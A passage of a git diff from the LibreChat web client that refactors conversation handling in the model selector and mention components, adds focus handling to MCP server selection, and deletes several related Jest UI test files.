+ const focusedElementRef = useRef(null);
const selectedCount = mcpValues?.length ?? 0;
+ // Wrap toggleServerSelection to preserve focus after state update
+ const handleToggle = useCallback(
+ (serverName: string) => {
+ // Save currently focused element
+ focusedElementRef.current = document.activeElement as HTMLElement;
+ toggleServerSelection(serverName);
+ // Restore focus after React re-renders
+ requestAnimationFrame(() => {
+ focusedElementRef.current?.focus();
+ });
+ },
+ [toggleServerSelection],
+ );
+
const selectedServers = useMemo(() => {
if (!mcpValues || mcpValues.length === 0) {
return [];
@@ -88,8 +103,6 @@ function MCPSelectContent() {
))}
diff --git a/client/src/components/Chat/Input/MCPSubMenu.tsx b/client/src/components/Chat/Input/MCPSubMenu.tsx
index f8e617cba3..b0b8fad1bb 100644
--- a/client/src/components/Chat/Input/MCPSubMenu.tsx
+++ b/client/src/components/Chat/Input/MCPSubMenu.tsx
@@ -35,6 +35,7 @@ const MCPSubMenu = React.forwardRef
(
placement: 'right',
});
+ // Don't render if no MCP servers are configured
if (!selectableServers || selectableServers.length === 0) {
return null;
}
diff --git a/client/src/components/Chat/Input/Mention.tsx b/client/src/components/Chat/Input/Mention.tsx
index 34bddba519..9e56068def 100644
--- a/client/src/components/Chat/Input/Mention.tsx
+++ b/client/src/components/Chat/Input/Mention.tsx
@@ -2,10 +2,11 @@ import { useState, useRef, useEffect } from 'react';
import { useCombobox } from '@librechat/client';
import { AutoSizer, List } from 'react-virtualized';
import { EModelEndpoint } from 'librechat-data-provider';
+import type { TConversation } from 'librechat-data-provider';
import type { MentionOption, ConvoGenerator } from '~/common';
import type { SetterOrUpdater } from 'recoil';
-import { useGetConversation, useLocalize, TranslationKeys } from '~/hooks';
import useSelectMention from '~/hooks/Input/useSelectMention';
+import { useLocalize, TranslationKeys } from '~/hooks';
import { useAssistantsMapContext } from '~/Providers';
import useMentions from '~/hooks/Input/useMentions';
import { removeCharIfLast } from '~/utils';
@@ -14,6 +15,7 @@ import MentionItem from './MentionItem';
const ROW_HEIGHT = 44;
export default function Mention({
+ conversation,
setShowMentionPopover,
newConversation,
textAreaRef,
@@ -21,6 +23,7 @@ export default function Mention({
placeholder = 'com_ui_mention',
includeAssistants = true,
}: {
+ conversation: TConversation | null;
setShowMentionPopover: SetterOrUpdater;
newConversation: ConvoGenerator;
textAreaRef: React.MutableRefObject;
@@ -29,7 +32,6 @@ export default function Mention({
includeAssistants?: boolean;
}) {
const localize = useLocalize();
- const getConversation = useGetConversation(0);
const assistantsMap = useAssistantsMapContext();
const {
options,
@@ -43,9 +45,9 @@ export default function Mention({
const { onSelectMention } = useSelectMention({
presets,
modelSpecs,
+ conversation,
assistantsMap,
endpointsConfig,
- getConversation,
newConversation,
});
diff --git a/client/src/components/Chat/Input/__tests__/MCPSelect.spec.tsx b/client/src/components/Chat/Input/__tests__/MCPSelect.spec.tsx
deleted file mode 100644
index 7662ee5e6e..0000000000
--- a/client/src/components/Chat/Input/__tests__/MCPSelect.spec.tsx
+++ /dev/null
@@ -1,142 +0,0 @@
-import React from 'react';
-import userEvent from '@testing-library/user-event';
-import { render, screen, within } from '@testing-library/react';
-import MCPSelect from '../MCPSelect';
-
-const mockToggleServerSelection = jest.fn();
-
-const defaultMcpServerManager = {
- localize: (key: string) => key,
- isPinned: true,
- mcpValues: [] as string[],
- placeholderText: 'MCP Servers',
- selectableServers: [
- { serverName: 'server-a', config: { title: 'Server A' } },
- { serverName: 'server-b', config: { title: 'Server B' } },
- ],
- connectionStatus: {},
- isInitializing: () => false,
- getConfigDialogProps: () => null,
- toggleServerSelection: mockToggleServerSelection,
- getServerStatusIconProps: () => null,
-};
-
-let mockCanUseMcp = true;
-let mockMcpServerManager = { ...defaultMcpServerManager };
-
-jest.mock('~/Providers', () => ({
- useBadgeRowContext: () => ({
- conversationId: 'test-conv',
- storageContextKey: undefined,
- mcpServerManager: mockMcpServerManager,
- }),
-}));
-
-jest.mock('~/hooks', () => ({
- useLocalize: () => (key: string) => key,
- useHasAccess: () => mockCanUseMcp,
-}));
-
-jest.mock('@librechat/client', () => {
- // eslint-disable-next-line @typescript-eslint/no-require-imports
- const R = require('react');
- return {
- TooltipAnchor: ({
- children,
- render,
- }: {
- children: React.ReactNode;
- render: React.ReactElement;
- }) => R.cloneElement(render, {}, ...(Array.isArray(children) ? children : [children])),
- MCPIcon: ({ className }: { className?: string }) => R.createElement('span', { className }),
- Spinner: ({ className }: { className?: string }) => R.createElement('span', { className }),
- };
-});
-
-jest.mock('~/components/MCP/MCPConfigDialog', () => ({
- __esModule: true,
- default: () => null,
-}));
-
-describe('MCPSelect', () => {
- beforeEach(() => {
- jest.clearAllMocks();
- mockCanUseMcp = true;
- mockMcpServerManager = { ...defaultMcpServerManager };
- });
-
- it('renders the menu button', () => {
- render( );
- expect(screen.getByRole('button', { name: /MCP Servers/i })).toBeInTheDocument();
- });
-
- it('opens menu on button click and shows server items', async () => {
- const user = userEvent.setup();
- render( );
-
- await user.click(screen.getByRole('button', { name: /MCP Servers/i }));
-
- const menu = screen.getByRole('menu', { name: /com_ui_mcp_servers/i });
- expect(menu).toBeVisible();
- expect(within(menu).getByRole('menuitemcheckbox', { name: /Server A/i })).toBeInTheDocument();
- expect(within(menu).getByRole('menuitemcheckbox', { name: /Server B/i })).toBeInTheDocument();
- });
-
- it('closes menu on Escape', async () => {
- const user = userEvent.setup();
- render( );
-
- await user.click(screen.getByRole('button', { name: /MCP Servers/i }));
- expect(screen.getByRole('menu', { name: /com_ui_mcp_servers/i })).toBeVisible();
-
- await user.keyboard('{Escape}');
- expect(screen.getByRole('button', { name: /MCP Servers/i })).toHaveAttribute(
- 'aria-expanded',
- 'false',
- );
- });
-
- it('keeps menu open after toggling a server item', async () => {
- const user = userEvent.setup();
- render( );
-
- await user.click(screen.getByRole('button', { name: /MCP Servers/i }));
- await user.click(screen.getByRole('menuitemcheckbox', { name: /Server A/i }));
-
- expect(mockToggleServerSelection).toHaveBeenCalledWith('server-a');
- expect(screen.getByRole('menu', { name: /com_ui_mcp_servers/i })).toBeVisible();
- });
-
- it('arrow-key navigation wraps from last item to first', async () => {
- const user = userEvent.setup();
- render( );
-
- await user.click(screen.getByRole('button', { name: /MCP Servers/i }));
- const items = screen.getAllByRole('menuitemcheckbox');
- expect(items).toHaveLength(2);
-
- await user.keyboard('{ArrowDown}');
- await user.keyboard('{ArrowDown}');
- await user.keyboard('{ArrowDown}');
- expect(items[0]).toHaveFocus();
- });
-
- it('renders nothing when user lacks MCP access', () => {
- mockCanUseMcp = false;
- const { container } = render( );
- expect(container.firstChild).toBeNull();
- expect(screen.queryByRole('button')).not.toBeInTheDocument();
- });
-
- it('renders nothing when selectableServers is empty', () => {
- mockMcpServerManager = { ...defaultMcpServerManager, selectableServers: [] };
- const { container } = render( );
- expect(container.firstChild).toBeNull();
- });
-
- it('renders nothing when not pinned and no servers selected', () => {
- mockMcpServerManager = { ...defaultMcpServerManager, isPinned: false, mcpValues: [] };
- const { container } = render( );
- expect(container.firstChild).toBeNull();
- });
-});
diff --git a/client/src/components/Chat/Input/__tests__/MCPSubMenu.spec.tsx b/client/src/components/Chat/Input/__tests__/MCPSubMenu.spec.tsx
deleted file mode 100644
index be8fb5d9c2..0000000000
--- a/client/src/components/Chat/Input/__tests__/MCPSubMenu.spec.tsx
+++ /dev/null
@@ -1,156 +0,0 @@
-import React from 'react';
-import * as Ariakit from '@ariakit/react';
-import userEvent from '@testing-library/user-event';
-import { render, screen, within } from '@testing-library/react';
-import MCPSubMenu from '../MCPSubMenu';
-
-const mockToggleServerSelection = jest.fn();
-const mockSetIsPinned = jest.fn();
-
-const defaultMcpServerManager = {
- isPinned: true,
- mcpValues: [] as string[],
- setIsPinned: mockSetIsPinned,
- placeholderText: 'MCP Servers',
- selectableServers: [
- { serverName: 'server-a', config: { title: 'Server A' } },
- { serverName: 'server-b', config: { title: 'Server B', description: 'Second server' } },
- ],
- connectionStatus: {},
- isInitializing: () => false,
- getConfigDialogProps: () => null,
- toggleServerSelection: mockToggleServerSelection,
- getServerStatusIconProps: () => null,
-};
-
-let mockMcpServerManager = { ...defaultMcpServerManager };
-
-jest.mock('~/Providers', () => ({
- useBadgeRowContext: () => ({
- storageContextKey: undefined,
- mcpServerManager: mockMcpServerManager,
- }),
-}));
-
-jest.mock('~/hooks', () => ({
- useLocalize: () => (key: string) => key,
- useHasAccess: () => true,
-}));
-
-jest.mock('@librechat/client', () => {
- // eslint-disable-next-line @typescript-eslint/no-require-imports
- const R = require('react');
- return {
- MCPIcon: ({ className }: { className?: string }) => R.createElement('span', { className }),
- PinIcon: ({ unpin }: { unpin?: boolean }) =>
- R.createElement('span', { 'data-testid': unpin ? 'unpin-icon' : 'pin-icon' }),
- Spinner: ({ className }: { className?: string }) => R.createElement('span', { className }),
- };
-});
-
-jest.mock('~/components/MCP/MCPConfigDialog', () => ({
- __esModule: true,
- default: () => null,
-}));
-
-function ParentMenu({ children }: { children: React.ReactNode }) {
- return (
-
- {/* eslint-disable-next-line i18next/no-literal-string */}
- Parent
- {children}
-
- );
-}
-
-function renderSubMenu(props: React.ComponentProps = {}) {
- return render(
-
-
- ,
- );
-}
-
-describe('MCPSubMenu', () => {
- beforeEach(() => {
- jest.clearAllMocks();
- mockMcpServerManager = { ...defaultMcpServerManager };
- });
-
- it('renders nothing when selectableServers is empty', () => {
- mockMcpServerManager = { ...defaultMcpServerManager, selectableServers: [] };
- renderSubMenu();
- expect(screen.queryByText('MCP Servers')).not.toBeInTheDocument();
- });
-
- it('renders the submenu trigger with default placeholder', () => {
- renderSubMenu();
- expect(screen.getByText('MCP Servers')).toBeInTheDocument();
- });
-
- it('renders custom placeholder when provided', () => {
- renderSubMenu({ placeholder: 'Custom Label' });
- expect(screen.getByText('Custom Label')).toBeInTheDocument();
- expect(screen.queryByText('MCP Servers')).not.toBeInTheDocument();
- });
-
- it('opens submenu and shows real server items', async () => {
- const user = userEvent.setup();
- renderSubMenu();
-
- await user.click(screen.getByText('MCP Servers'));
-
- const menu = screen.getByRole('menu', { name: /com_ui_mcp_servers/i });
- expect(menu).toBeVisible();
- expect(within(menu).getByRole('menuitemcheckbox', { name: /Server A/i })).toBeInTheDocument();
- expect(within(menu).getByRole('menuitemcheckbox', { name: /Server B/i })).toBeInTheDocument();
- });
-
- it('keeps menu open after toggling a server item', async () => {
- const user = userEvent.setup();
- renderSubMenu();
-
- await user.click(screen.getByText('MCP Servers'));
- await user.click(screen.getByRole('menuitemcheckbox', { name: /Server A/i }));
-
- expect(mockToggleServerSelection).toHaveBeenCalledWith('server-a');
- expect(screen.getByRole('menu', { name: /com_ui_mcp_servers/i })).toBeVisible();
- });
-
- it('calls setIsPinned with toggled value when pin button is clicked', async () => {
- const user = userEvent.setup();
- mockMcpServerManager = { ...defaultMcpServerManager, isPinned: false };
- renderSubMenu();
-
- await user.click(screen.getByRole('button', { name: /com_ui_pin/i }));
-
- expect(mockSetIsPinned).toHaveBeenCalledWith(true);
- });
-
- it('arrow-key navigation wraps from last item to first', async () => {
- const user = userEvent.setup();
- renderSubMenu();
-
- await user.click(screen.getByText('MCP Servers'));
- const items = screen.getAllByRole('menuitemcheckbox');
- expect(items).toHaveLength(2);
-
- await user.click(items[1]);
- expect(items[1]).toHaveFocus();
-
- await user.keyboard('{ArrowDown}');
- expect(items[0]).toHaveFocus();
- });
-
- it('pin button shows unpin label when pinned', () => {
- mockMcpServerManager = { ...defaultMcpServerManager, isPinned: true };
- renderSubMenu();
- expect(screen.getByRole('button', { name: /com_ui_unpin/i })).toBeInTheDocument();
- });
-
- it('pin button shows pin label when not pinned', () => {
- mockMcpServerManager = { ...defaultMcpServerManager, isPinned: false };
- renderSubMenu();
- expect(screen.getByRole('button', { name: /com_ui_pin/i })).toBeInTheDocument();
- });
-});
diff --git a/client/src/components/Chat/Menus/Endpoints/ModelSelectorChatContext.tsx b/client/src/components/Chat/Menus/Endpoints/ModelSelectorChatContext.tsx
index c6f2416d78..eac3bb200c 100644
--- a/client/src/components/Chat/Menus/Endpoints/ModelSelectorChatContext.tsx
+++ b/client/src/components/Chat/Menus/Endpoints/ModelSelectorChatContext.tsx
@@ -1,9 +1,6 @@
-import React, { createContext, useCallback, useContext, useMemo, useRef } from 'react';
-import { useRecoilValue } from 'recoil';
+import React, { createContext, useContext, useMemo } from 'react';
import type { EModelEndpoint, TConversation } from 'librechat-data-provider';
-import type { ConvoGenerator } from '~/common';
-import { useGetConversation, useNewConvo } from '~/hooks';
-import store from '~/store';
+import { useChatContext } from '~/Providers/ChatContext';
interface ModelSelectorChatContextValue {
endpoint?: EModelEndpoint | null;
@@ -11,8 +8,8 @@ interface ModelSelectorChatContextValue {
spec?: string | null;
agent_id?: string | null;
assistant_id?: string | null;
- getConversation: () => TConversation | null;
- newConversation: ConvoGenerator;
+ conversation: TConversation | null;
+ newConversation: ReturnType['newConversation'];
}
const ModelSelectorChatContext = createContext(
@@ -20,34 +17,20 @@ const ModelSelectorChatContext = createContext(
- (params) => newConversationRef.current(params),
- [],
- );
+ const { conversation, newConversation } = useChatContext();
/** Context value only created when relevant conversation properties change */
const contextValue = useMemo(
() => ({
- model,
- spec,
- agent_id,
- endpoint,
- assistant_id,
- getConversation,
+ endpoint: conversation?.endpoint,
+ model: conversation?.model,
+ spec: conversation?.spec,
+ agent_id: conversation?.agent_id,
+ assistant_id: conversation?.assistant_id,
+ conversation,
newConversation,
}),
- [endpoint, model, spec, agent_id, assistant_id, getConversation, newConversation],
+ [conversation, newConversation],
);
return (
diff --git a/client/src/components/Chat/Menus/Endpoints/ModelSelectorContext.tsx b/client/src/components/Chat/Menus/Endpoints/ModelSelectorContext.tsx
index 5a51db6ce9..dd08728560 100644
--- a/client/src/components/Chat/Menus/Endpoints/ModelSelectorContext.tsx
+++ b/client/src/components/Chat/Menus/Endpoints/ModelSelectorContext.tsx
@@ -58,7 +58,7 @@ export function ModelSelectorProvider({ children, startupConfig }: ModelSelector
const agentsMap = useAgentsMapContext();
const assistantsMap = useAssistantsMapContext();
const { data: endpointsConfig } = useGetEndpointsQuery();
- const { endpoint, model, spec, agent_id, assistant_id, getConversation, newConversation } =
+ const { endpoint, model, spec, agent_id, assistant_id, conversation, newConversation } =
useModelSelectorChatContext();
const localize = useLocalize();
const { announcePolite } = useLiveAnnouncer();
@@ -114,7 +114,7 @@ export function ModelSelectorProvider({ children, startupConfig }: ModelSelector
const { onSelectEndpoint, onSelectSpec } = useSelectMention({
// presets,
modelSpecs,
- getConversation,
+ conversation,
assistantsMap,
endpointsConfig,
newConversation,
@@ -171,115 +171,90 @@ export function ModelSelectorProvider({ children, startupConfig }: ModelSelector
}, 200),
[],
);
- const setEndpointSearchValue = useCallback((endpoint: string, value: string) => {
+ const setEndpointSearchValue = (endpoint: string, value: string) => {
setEndpointSearchValues((prev) => ({
...prev,
[endpoint]: value,
}));
- }, []);
+ };
- const handleSelectSpec = useCallback(
- (spec: t.TModelSpec) => {
- let model = spec.preset.model ?? null;
- onSelectSpec?.(spec);
- if (isAgentsEndpoint(spec.preset.endpoint)) {
- model = spec.preset.agent_id ?? '';
- } else if (isAssistantsEndpoint(spec.preset.endpoint)) {
- model = spec.preset.assistant_id ?? '';
- }
- setSelectedValues({
- endpoint: spec.preset.endpoint,
- model,
- modelSpec: spec.name,
- });
- },
- [onSelectSpec],
- );
+ const handleSelectSpec = (spec: t.TModelSpec) => {
+ let model = spec.preset.model ?? null;
+ onSelectSpec?.(spec);
+ if (isAgentsEndpoint(spec.preset.endpoint)) {
+ model = spec.preset.agent_id ?? '';
+ } else if (isAssistantsEndpoint(spec.preset.endpoint)) {
+ model = spec.preset.assistant_id ?? '';
+ }
+ setSelectedValues({
+ endpoint: spec.preset.endpoint,
+ model,
+ modelSpec: spec.name,
+ });
+ };
- const handleSelectEndpoint = useCallback(
- (endpoint: Endpoint) => {
- if (!endpoint.hasModels) {
- if (endpoint.value) {
- onSelectEndpoint?.(endpoint.value);
- }
- setSelectedValues({
- endpoint: endpoint.value,
- model: '',
- modelSpec: '',
- });
- }
- },
- [onSelectEndpoint],
- );
-
- const handleSelectModel = useCallback(
- (endpoint: Endpoint, model: string) => {
- if (isAgentsEndpoint(endpoint.value)) {
- onSelectEndpoint?.(endpoint.value, {
- agent_id: model,
- model: agentsMap?.[model]?.model ?? '',
- });
- } else if (isAssistantsEndpoint(endpoint.value)) {
- onSelectEndpoint?.(endpoint.value, {
- assistant_id: model,
- model: assistantsMap?.[endpoint.value]?.[model]?.model ?? '',
- });
- } else if (endpoint.value) {
- onSelectEndpoint?.(endpoint.value, { model });
+ const handleSelectEndpoint = (endpoint: Endpoint) => {
+ if (!endpoint.hasModels) {
+ if (endpoint.value) {
+ onSelectEndpoint?.(endpoint.value);
}
setSelectedValues({
endpoint: endpoint.value,
- model,
+ model: '',
modelSpec: '',
});
+ }
+ };
- const modelDisplayName = getModelDisplayName(endpoint, model);
- const announcement = localize('com_ui_model_selected', { 0: modelDisplayName });
- announcePolite({ message: announcement, isStatus: true });
- },
- [agentsMap, announcePolite, assistantsMap, getModelDisplayName, localize, onSelectEndpoint],
- );
+ const handleSelectModel = (endpoint: Endpoint, model: string) => {
+ if (isAgentsEndpoint(endpoint.value)) {
+ onSelectEndpoint?.(endpoint.value, {
+ agent_id: model,
+ model: agentsMap?.[model]?.model ?? '',
+ });
+ } else if (isAssistantsEndpoint(endpoint.value)) {
+ onSelectEndpoint?.(endpoint.value, {
+ assistant_id: model,
+ model: assistantsMap?.[endpoint.value]?.[model]?.model ?? '',
+ });
+ } else if (endpoint.value) {
+ onSelectEndpoint?.(endpoint.value, { model });
+ }
+ setSelectedValues({
+ endpoint: endpoint.value,
+ model,
+ modelSpec: '',
+ });
- const value = useMemo(
- () => ({
- searchValue,
- searchResults,
- selectedValues,
- endpointSearchValues,
- agentsMap,
- modelSpecs,
- assistantsMap,
- mappedEndpoints,
- endpointsConfig,
- handleSelectSpec,
- handleSelectModel,
- setSelectedValues,
- handleSelectEndpoint,
- setEndpointSearchValue,
- endpointRequiresUserKey,
- setSearchValue: setDebouncedSearchValue,
- ...keyProps,
- }),
- [
- searchValue,
- searchResults,
- selectedValues,
- endpointSearchValues,
- agentsMap,
- modelSpecs,
- assistantsMap,
- mappedEndpoints,
- endpointsConfig,
- handleSelectSpec,
- handleSelectModel,
- setSelectedValues,
- handleSelectEndpoint,
- setEndpointSearchValue,
- endpointRequiresUserKey,
- setDebouncedSearchValue,
- keyProps,
- ],
- );
+ const modelDisplayName = getModelDisplayName(endpoint, model);
+ const announcement = localize('com_ui_model_selected', { 0: modelDisplayName });
+ announcePolite({ message: announcement, isStatus: true });
+ };
+
+ const value = {
+ // State
+ searchValue,
+ searchResults,
+ selectedValues,
+ endpointSearchValues,
+ // LibreChat
+ agentsMap,
+ modelSpecs,
+ assistantsMap,
+ mappedEndpoints,
+ endpointsConfig,
+
+ // Functions
+ handleSelectSpec,
+ handleSelectModel,
+ setSelectedValues,
+ handleSelectEndpoint,
+ setEndpointSearchValue,
+ endpointRequiresUserKey,
+ setSearchValue: setDebouncedSearchValue,
+ // Dialog
+ ...keyProps,
+ };
return {children} ;
}
diff --git a/client/src/components/Chat/Menus/Endpoints/components/EndpointItem.tsx b/client/src/components/Chat/Menus/Endpoints/components/EndpointItem.tsx
index c8cef36010..6f73f76d79 100644
--- a/client/src/components/Chat/Menus/Endpoints/components/EndpointItem.tsx
+++ b/client/src/components/Chat/Menus/Endpoints/components/EndpointItem.tsx
@@ -96,7 +96,7 @@ function EndpointMenuContent({
const localize = useLocalize();
const { agentsMap, assistantsMap, modelSpecs, selectedValues, endpointSearchValues } =
useModelSelectorContext();
- const { modelSpec: selectedSpec } = selectedValues;
+ const { model: selectedModel, modelSpec: selectedSpec } = selectedValues;
const searchValue = endpointSearchValues[endpoint.value] || '';
const endpointSpecs = useMemo(() => {
@@ -134,9 +134,15 @@ function EndpointMenuContent({
))}
{filteredModels
- ? renderEndpointModels(endpoint, endpoint.models || [], filteredModels, endpointIndex)
+ ? renderEndpointModels(
+ endpoint,
+ endpoint.models || [],
+ selectedModel,
+ filteredModels,
+ endpointIndex,
+ )
: endpoint.models &&
- renderEndpointModels(endpoint, endpoint.models, undefined, endpointIndex)}
+ renderEndpointModels(endpoint, endpoint.models, selectedModel, undefined, endpointIndex)}
>
);
}
@@ -151,7 +157,7 @@ export function EndpointItem({ endpoint, endpointIndex }: EndpointItemProps) {
setEndpointSearchValue,
endpointRequiresUserKey,
} = useModelSelectorContext();
- const { endpoint: selectedEndpoint, modelSpec: selectedSpec } = selectedValues;
+ const { endpoint: selectedEndpoint } = selectedValues;
const searchValue = endpointSearchValues[endpoint.value] || '';
const isUserProvided = useMemo(
@@ -173,7 +179,7 @@ export function EndpointItem({ endpoint, endpointIndex }: EndpointItemProps) {
);
- const isEndpointSelected = !selectedSpec && selectedEndpoint === endpoint.value;
+ const isEndpointSelected = selectedEndpoint === endpoint.value;
if (endpoint.hasModels) {
const placeholder =
diff --git a/client/src/components/Chat/Menus/Endpoints/components/EndpointModelItem.tsx b/client/src/components/Chat/Menus/Endpoints/components/EndpointModelItem.tsx
index 7cec4744d5..752788d63a 100644
--- a/client/src/components/Chat/Menus/Endpoints/components/EndpointModelItem.tsx
+++ b/client/src/components/Chat/Menus/Endpoints/components/EndpointModelItem.tsx
@@ -11,18 +11,12 @@ import { cn } from '~/utils';
interface EndpointModelItemProps {
modelId: string | null;
endpoint: Endpoint;
+ isSelected: boolean;
}
-export function EndpointModelItem({ modelId, endpoint }: EndpointModelItemProps) {
+export function EndpointModelItem({ modelId, endpoint, isSelected }: EndpointModelItemProps) {
const localize = useLocalize();
- const { handleSelectModel, selectedValues } = useModelSelectorContext();
- const {
- endpoint: selectedEndpoint,
- model: selectedModel,
- modelSpec: selectedSpec,
- } = selectedValues;
- const isSelected =
- !selectedSpec && selectedEndpoint === endpoint.value && selectedModel === modelId;
+ const { handleSelectModel } = useModelSelectorContext();
const { isFavoriteModel, toggleFavoriteModel, isFavoriteAgent, toggleFavoriteAgent } =
useFavorites();
@@ -153,6 +147,7 @@ export function EndpointModelItem({ modelId, endpoint }: EndpointModelItemProps)
export function renderEndpointModels(
endpoint: Endpoint | null,
models: Array<{ name: string; isGlobal?: boolean }>,
+ selectedModel: string | null,
filteredModels?: string[],
endpointIndex?: number,
) {
@@ -166,6 +161,7 @@ export function renderEndpointModels(
key={`${endpoint.value}${indexSuffix}-${modelId}-${modelIndex}`}
modelId={modelId}
endpoint={endpoint}
+ isSelected={selectedModel === modelId}
/>
),
);
diff --git a/client/src/components/Chat/Menus/Endpoints/components/SearchResults.tsx b/client/src/components/Chat/Menus/Endpoints/components/SearchResults.tsx
index 26831a577e..34985639c5 100644
--- a/client/src/components/Chat/Menus/Endpoints/components/SearchResults.tsx
+++ b/client/src/components/Chat/Menus/Endpoints/components/SearchResults.tsx
@@ -160,9 +160,7 @@ export function SearchResults({ results, localize, searchValue }: SearchResultsP
}
const isModelSelected =
- !selectedSpec &&
- selectedEndpoint === endpoint.value &&
- selectedModel === modelId;
+ selectedEndpoint === endpoint.value && selectedModel === modelId;
return (
({
- useModelSelectorContext: () => ({
- handleSelectModel: mockHandleSelectModel,
- selectedValues: mockSelectedValues,
- }),
-}));
-
-jest.mock('~/components/Chat/Menus/Endpoints/CustomMenu', () => {
- const React = jest.requireActual('react');
- return {
- CustomMenuItem: React.forwardRef(function MockMenuItem(
- { children, ...rest }: { children?: React.ReactNode },
- ref: React.Ref,
- ) {
- return React.createElement('div', { ref, role: 'menuitem', ...rest }, children);
- }),
- };
-});
-
-jest.mock('~/hooks', () => ({
- useLocalize: () => (key: string) => key,
- useFavorites: () => ({
- isFavoriteModel: () => false,
- toggleFavoriteModel: jest.fn(),
- isFavoriteAgent: () => false,
- toggleFavoriteAgent: jest.fn(),
- }),
-}));
-
-const baseEndpoint: Endpoint = {
- value: 'anthropic',
- label: 'Anthropic',
- hasModels: true,
- models: [{ name: 'claude-opus-4-6' }],
- icon: null,
-};
-
-describe('EndpointModelItem', () => {
- beforeEach(() => {
- jest.clearAllMocks();
- });
-
- it('renders checkmark when model and endpoint match with no active spec', () => {
- mockSelectedValues = { endpoint: 'anthropic', model: 'claude-opus-4-6', modelSpec: '' };
- render( );
-
- const menuItem = screen.getByRole('menuitem');
- expect(menuItem).toHaveAttribute('aria-selected', 'true');
- });
-
- it('does NOT render checkmark when a model spec is active even if endpoint and model match', () => {
- mockSelectedValues = {
- endpoint: 'anthropic',
- model: 'claude-opus-4-6',
- modelSpec: 'my-anthropic-spec',
- };
- render( );
-
- const menuItem = screen.getByRole('menuitem');
- expect(menuItem).not.toHaveAttribute('aria-selected');
- });
-
- it('does NOT render checkmark when model matches but endpoint differs', () => {
- mockSelectedValues = { endpoint: 'openai', model: 'claude-opus-4-6', modelSpec: '' };
- render( );
-
- const menuItem = screen.getByRole('menuitem');
- expect(menuItem).not.toHaveAttribute('aria-selected');
- });
-
- it('does NOT render checkmark when endpoint matches but model differs', () => {
- mockSelectedValues = { endpoint: 'anthropic', model: 'claude-sonnet-4-5', modelSpec: '' };
- render( );
-
- const menuItem = screen.getByRole('menuitem');
- expect(menuItem).not.toHaveAttribute('aria-selected');
- });
-});
diff --git a/client/src/components/Chat/Menus/Endpoints/components/__tests__/SearchResults.test.tsx b/client/src/components/Chat/Menus/Endpoints/components/__tests__/SearchResults.test.tsx
deleted file mode 100644
index 8ab9235f6f..0000000000
--- a/client/src/components/Chat/Menus/Endpoints/components/__tests__/SearchResults.test.tsx
+++ /dev/null
@@ -1,109 +0,0 @@
-import { render, screen } from '@testing-library/react';
-import type { Endpoint, SelectedValues } from '~/common';
-import { SearchResults } from '../SearchResults';
-
-const mockHandleSelectSpec = jest.fn();
-const mockHandleSelectModel = jest.fn();
-const mockHandleSelectEndpoint = jest.fn();
-let mockSelectedValues: SelectedValues;
-
-jest.mock('~/components/Chat/Menus/Endpoints/ModelSelectorContext', () => ({
- useModelSelectorContext: () => ({
- selectedValues: mockSelectedValues,
- handleSelectSpec: mockHandleSelectSpec,
- handleSelectModel: mockHandleSelectModel,
- handleSelectEndpoint: mockHandleSelectEndpoint,
- endpointsConfig: {},
- }),
-}));
-
-jest.mock('~/components/Chat/Menus/Endpoints/CustomMenu', () => {
- const React = jest.requireActual('react');
- return {
- CustomMenuItem: React.forwardRef(function MockMenuItem(
- { children, ...rest }: { children?: React.ReactNode },
- ref: React.Ref,
- ) {
- return React.createElement('div', { ref, role: 'menuitem', ...rest }, children);
- }),
- };
-});
-
-jest.mock('../SpecIcon', () => {
- const React = jest.requireActual('react');
- return {
- __esModule: true,
- default: () => React.createElement('span', null, 'icon'),
- };
-});
-
-const localize = (key: string) => key;
-
-const anthropicEndpoint: Endpoint = {
- value: 'anthropic',
- label: 'Anthropic',
- hasModels: true,
- models: [{ name: 'claude-opus-4-6' }, { name: 'claude-sonnet-4-5' }],
- icon: null,
-};
-
-const noModelsEndpoint: Endpoint = {
- value: 'custom',
- label: 'Custom',
- hasModels: false,
- icon: null,
-};
-
-describe('SearchResults', () => {
- beforeEach(() => {
- jest.clearAllMocks();
- });
-
- it('marks model as selected when endpoint and model match with no active spec', () => {
- mockSelectedValues = { endpoint: 'anthropic', model: 'claude-opus-4-6', modelSpec: '' };
- render(
- ,
- );
-
- const items = screen.getAllByRole('menuitem');
- const selectedItem = items.find((el) => el.getAttribute('aria-selected') === 'true');
- expect(selectedItem).toBeDefined();
- expect(selectedItem).toHaveTextContent('claude-opus-4-6');
- });
-
- it('does not mark model as selected when a spec is active', () => {
- mockSelectedValues = {
- endpoint: 'anthropic',
- model: 'claude-opus-4-6',
- modelSpec: 'my-spec',
- };
- render(
- ,
- );
-
- const items = screen.getAllByRole('menuitem');
- for (const item of items) {
- expect(item).not.toHaveAttribute('aria-selected');
- }
- });
-
- it('does not mark endpoint as selected when a spec is active', () => {
- mockSelectedValues = {
- endpoint: 'custom',
- model: '',
- modelSpec: 'my-spec',
- };
- render( );
-
- const item = screen.getByRole('menuitem');
- expect(item).not.toHaveAttribute('aria-selected');
- });
-
- it('marks endpoint as selected when no spec is active and endpoint matches', () => {
- mockSelectedValues = { endpoint: 'custom', model: '', modelSpec: '' };
- render( );
-
- const item = screen.getByRole('menuitem');
- expect(item).toHaveAttribute('aria-selected', 'true');
- });
-});
diff --git a/client/src/components/Chat/Menus/HeaderNewChat.tsx b/client/src/components/Chat/Menus/HeaderNewChat.tsx
index a50d42af85..764397eddb 100644
--- a/client/src/components/Chat/Menus/HeaderNewChat.tsx
+++ b/client/src/components/Chat/Menus/HeaderNewChat.tsx
@@ -1,16 +1,14 @@
import { QueryKeys } from 'librechat-data-provider';
-import { useRecoilValue } from 'recoil';
import { useQueryClient } from '@tanstack/react-query';
import { TooltipAnchor, Button, NewChatIcon } from '@librechat/client';
-import { useNewConvo, useLocalize } from '~/hooks';
+import { useChatContext } from '~/Providers';
import { clearMessagesCache } from '~/utils';
-import store from '~/store';
+import { useLocalize } from '~/hooks';
export default function HeaderNewChat() {
const localize = useLocalize();
const queryClient = useQueryClient();
- const { newConversation } = useNewConvo();
- const conversation = useRecoilValue(store.conversationByIndex(0));
+ const { conversation, newConversation } = useChatContext();
const clickHandler: React.MouseEventHandler = (e) => {
if (e.button === 0 && (e.ctrlKey || e.metaKey)) {
diff --git a/client/src/components/Chat/Menus/PresetsMenu.tsx b/client/src/components/Chat/Menus/PresetsMenu.tsx
index 0edd1635bc..7ba0ae5c88 100644
--- a/client/src/components/Chat/Menus/PresetsMenu.tsx
+++ b/client/src/components/Chat/Menus/PresetsMenu.tsx
@@ -1,5 +1,4 @@
import { useRef } from 'react';
-import { useRecoilValue } from 'recoil';
import { Trans } from 'react-i18next';
